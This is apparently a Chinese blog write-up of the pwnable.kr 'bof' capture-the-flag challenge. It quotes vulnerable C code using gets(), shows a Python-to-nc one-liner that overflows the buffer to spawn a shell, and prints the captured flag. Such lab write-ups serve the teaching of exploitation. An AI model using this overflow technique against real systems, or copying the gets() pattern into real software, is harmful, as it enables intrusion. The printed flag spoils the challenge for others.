writeup-bof

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

下载了附件,先扔去binwalk看下是多少位的,然后打开bof.c,
代码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

然后把bof扔进IDA里面静态分析一下,发现有gs保护。。本来以为要绕过。。看了下别人的wp才知道可以无视。。。

把bof扔到gdb里面调试一下,step到输入那里,输12个a试下,然后查一下内存,发现缓存区大概有52个字节,于是构造一下语句 (python -c “print ‘x’*52 +’\xbe’ +’\xba’+’\xfe’+’\xca’”;cat)|./bof 成功进入sh,然后连上服务器(python -c “print ‘x’*52 +’\xbe’ +’\xba’+’\xfe’+’\xca’”;cat)|nc pwnable.kr 9000
拿到flag
daddy, I just pwned a buFFer :)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值